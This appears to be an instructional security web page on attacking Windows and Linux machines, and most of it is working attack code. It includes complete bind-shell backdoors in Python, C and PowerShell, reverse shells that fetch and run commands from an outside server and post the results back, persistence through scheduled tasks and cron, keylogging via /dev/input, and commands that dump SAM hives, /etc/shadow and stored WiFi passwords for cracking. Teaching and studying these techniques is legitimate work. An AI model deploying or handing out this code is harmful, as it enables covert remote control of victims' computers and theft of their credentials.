Intro to Programming Database Internet of Things IT Project Management Networking Web Development Security For Research Students

Introduction

This section of the website explores ways of attacking specific operating systems, specifically Windows and Linux. I unfortunately do not own a Macintosh and so can't explore Mac based attacks. Attacks on a Mac should be similar to attacks on Linux-based devices.

The current contents are:

Any questions or comments should be directed to: The creator's email

Payloads

In many cases, penetration involves several steps. In the first step, the hacker attempts to gain a foothold on the device. In the second step, the hacker employs that foothold to widen their access.

For example, a hacker might trick you into giving them access to your computer for five minutes. Or, a hacker might get access to your computer using a Rubber Ducky. Or, a hacker might successfully drop a file on your computer using email or a website.

The malicious code is called a payload. In this website, I introduce the basics of three common kinds of payloads, the bind, the reverse bind, and the keylogger.

Any questions or comments should be directed to: The creator's email

Bind

A Bind is a simple backdoor. The hacker runs code that opens a port. The hacker can use the open port to remotely run commands on your computer.

A bind fundamentally runs a server on the target computer where input from the hacker runs on the target computer's operating system shell. Once the bind server is running, the hacker can remote connect to it using telnet, netcat or one of its variants, or PuTTy.

All sample binds in this section open port 10010. It is trivial to change the open port.

Executable TCP Binds

One can drop executable files that perform TCP binds. Modern operating systems often test for these. Alternately, one can drop code onto machines that are compiled to perform the TCP bind. Here, I show the source code for simple TCP binds in two languages, Python and C. Both Python and C are commonly found in Linux systems. These binds can also be compiled to infect Windows systems.

A Python TCP bind:

import socket, subprocess

port=10010
thecmd=''
theoutput=''

while thecmd!='exit':
    with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as inputsocket:
      inputsocket.bind(('',port))
      inputsocket.listen()
      conn, addr= inputsocket.accept()
      with conn:
        while thecmd!='exit':
          thecmd=conn.recv(1024).decode()
          thecmd=thecmd.replace("\r","")
          thecmd=thecmd.replace("\n","")
          if thecmd!='exit':
            theout=subprocess.run(thecmd,shell=True,stdout=subprocess.PIPE)
            conn.send(theout.stdout)
                      
          

A C TCP bind:

#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

#define PORT 10010

void cutstr(char * strloc, char tocut){
  int x=0;
  while (strloc[x]!='\0' && strloc[x]!=tocut)
   x++;
  if (strloc[x]==tocut)
    strloc[x]='\0'; 
}

int main(int argc, char const* argv[]){

  int server=0;
  int opt=1;
  struct sockaddr_in address;
  int thesocket;
  char thecmd[1024]="";
  char outdata[1024];
  socklen_t addrlen = sizeof(address);
  int temp=0;
  FILE * fp;

  printf("starting");

  server = socket(AF_INET, SOCK_STREAM, 0);
  setsockopt(server, 
             SOL_SOCKET,
             SO_REUSEADDR | SO_REUSEPORT, 
             &opt,
             sizeof(opt)
  );
  address.sin_family = AF_INET;
  address.sin_addr.s_addr = INADDR_ANY;
  address.sin_port = htons(PORT);
  bind(server, 
       (struct sockaddr*)&address,sizeof(address)
  );
  listen(server,3);
  thesocket = accept(server, 
                  (struct sockaddr*)&address,
                  &addrlen
           );
  printf("socket: %i",thesocket);
  while (strcmp(thecmd,"exit")!=0){
    read(thesocket,thecmd,1023);    //in C, all strings end with \0
    cutstr(thecmd,'\r');
    cutstr(thecmd,'\n');
    fp=popen(thecmd,"r");
    while (fgets(outdata, sizeof(outdata), fp) != NULL) {
      send(thesocket,outdata,strlen(outdata),0);
    }
    pclose(fp);
  }
  return 0;

}
              
          

Windows Command Shell TCP Bind

While Linux machines come with compilers and interpreters, the same is not true for Windows machines. We normally infect Windows machines with a pre-compiled binary (.exe) file. Where that is not possible, we can use Windows Powershell to create a TCP bind.

The below is a sample simple Powershell TCP bind:

$listener = [System.Net.Sockets.TcpListener]10010
$enc = [system.Text.Encoding]::UTF8
$listener.Start()
$data = ""
while ($data -ne "exit") {
    $client = $listener.AcceptTcpClient()
    $rEndpoint = $client.client.RemoteEndPoint
    $data = ""
    $stream = $client.GetStream()
    $buffer = New-Object System.Byte[] 1024
    while ($data -ne "exit"){
        $i = $stream.Read($buffer, 0, $buffer.Length); 
        $EncodedText = New-Object System.Text.ASCIIEncoding;
        $data = $EncodedText.GetString($buffer, 0, $buffer.length);
        Write-Host "command is: "$data
        $output=invoke-expression $data
        $stream.write($enc.getBytes($output),0,$output.length)
        $output=""
    }

    $stream.Close();
    $client.Close();
}
$listener.Stop()
$listener.dispose()              
          

I have found implementing a socket server in a Linux shell to be non-trivial. Examples on the Internet will use netcat (nc), a networking utility pre-built into most Linux installs. However, I find managing netcat's input and output to be quite difficult and thus find just simply programming your own with a language to be substantially easier.

Any questions or comments should be directed to: The creator's email

Reverse Bind

Binds don't work across firewalls. Typically, firewalls allow machines within the firewall to connect out. However, they don't allow machines from outside the firewall to connect in. A way around this problem is with a reverse bind. In a reverse bind, the victim machine seeks the hacker's machine for instructions.

Sample Reverse Binds

In the below reverse binds, the code causes the machine to seek instructions, either https://cecilchua.online/softdrop/windowsinstructions.txt for Windows or https://cecilchua.online/softdrop/linuxinstructions.txt for Linux. The machine executes the instructions and then sends the output of those instructions to https://cecilchua.online/softdrop/receivebind.php. You can see the output of those instructions here. Once you are satisfied your reverse bind works, you should hit the delete button so your sensitive information isn't visible to anyone else.

I only have Windows Powershell and Python code for the reverse bind. C does not have built-in libraries to manage web connections, and so a C example would be excessively complex and not useful for illustrative purposes. I was also considering doing a bash script example, but because the output of Linux commands includes a lot of carriage returns, bash doesn't handle the JSON properly. Jq which would help with the JSON text processing is not standard on Linux distributions. So, a bash example would have been unnecessarily complex.

An example HTTP reverse bind in Windows Powershell:

$instructions=invoke-webrequest -URI "https://cecilchua.online/softdrop/windowsinstructions.txt"
$output=""

ForEach ($line in $instructions){
  $output+=$line
  $output+=invoke-expression $line 
}
$form=@{data=$output}
invoke-webrequest -Method Post -Body $form -URI "https://cecilchua.online/softdrop/receivebind.php"              
          

An example HTTP reverse bind for Linux in Python. The code should also work on Windows by changing linuxinstructions.txt to windowsinstructions.txt.

import subprocess
import requests

outputtext=""
fp=requests.get("https://cecilchua.online/softdrop/linuxinstructions.txt")
for thecommand in fp.text.split("\n"):
  theout=subprocess.run(thecommand,shell=True,stdout=subprocess.PIPE)
  outputtext+=thecommand+"\n"
  outputtext+=theout.stdout.decode()
thedata={"data": outputtext}
requests.post("https://cecilchua.online/softdrop/receivebind.php",data=thedata)
          

Scheduling a Reverse Bind

Because you cannot directly manipulate a reverse bind, you typically want a reverse bind to run periodically. To set the reverse bind to run every day in Windows, type:

schtasks /create /sc daily /tn <taskname> /tr <name of the reverse bind> /mo 1              
          

For Linux, copy the script to the directory /etc/cron.daily

cp <directory and name of script> /etc/cron.daily              
          

Any questions or comments should be directed to: The creator's email

Keylogging

A keylogger is a program that intercepts all keystrokes a user makes and stores it to a file. This is valuable, for example, for capturing user passwords. A keylogger can be combined with a TCP bind or more frequently, a TCP reverse bind to send the logged keystrokes to a server.

Keyloggers are operating system dependent. Keyloggers for Windows frequently leverage on user32.dll, the Windows user interface library because of its embedded keyboard events.

In Linux, the keyboard is a file. To discover which file, read the file /proc/bus/input/devices. That file will list all the Linux peripherals, including the keyboard. The keyboard will be linked to an event in the file (e.g., event0, event1...). That event will be /dev/input/event<number>. To perform keylogging, just read from the event as if that event was a file.

There are many existing keyloggers on the Internet, so I do not intend to write any here. There are keyloggers for Powershell, Python (Windows, Linux) and in C (Windows, Linux).

Any questions or comments should be directed to: The creator's email

Extracting Account Passwords

Account passwords in both Windows and Linux are shadowed. This means getting the encrypted passwords is a three step process. One must:

  1. Extract the password file
  2. Extract the shadow file
  3. Merge the two files

Once this is done, the merged file can be hacked with password crackers.

Windows Passwords

If you have administrator privileges (run as administrator), the Windows passwords are obtained from the system registry with the following commands:

reg save hklm\sam <file1>
reg save hklm\system <file2>              
          

You can then use samdump2 to merge the files. Samdump2 comes preinstalled on Kali Linux.

samdump2 <file1> <file2> > <combined file>              
          

Linux Passwords

If you have administrator privileges (sudo), Linux passwords are stored as the files /etc/passwd and /etc/shadow and can be copied out with:

cp /etc/passwd <file1>
cp /etc/shadow <file2>
          

Once extracted, use unshadow (comes with John the Ripper/Kali Linux) to combine the files:

unshadow <file1> <file2> > <combined file>               
          

Any questions or comments should be directed to: The creator's email

Extracting WiFi Passwords

WiFi passwords tend to be stored in the clear on most operating systems.

Windows WiFi

To extract a WiFi password from a Windows machine, type:

Netsh wlan show profile name=<SSID> key=clear              
          

Linux WiFi

Each WiFi network the computer can be connected to will be found in the directory /etc/NetworkManager/system-connections as a file called <SSID>.nmconnection. Either:

cd /etc/NetworkManager/system-connections
cat <SSID>.nmconnection               
          
or
cd /etc/NetworkManager/system-connections
more <SSID>.nmconnection               
          
to see the password. The password will be on a line saying psk=<password>

Any questions or comments should be directed to: The creator's email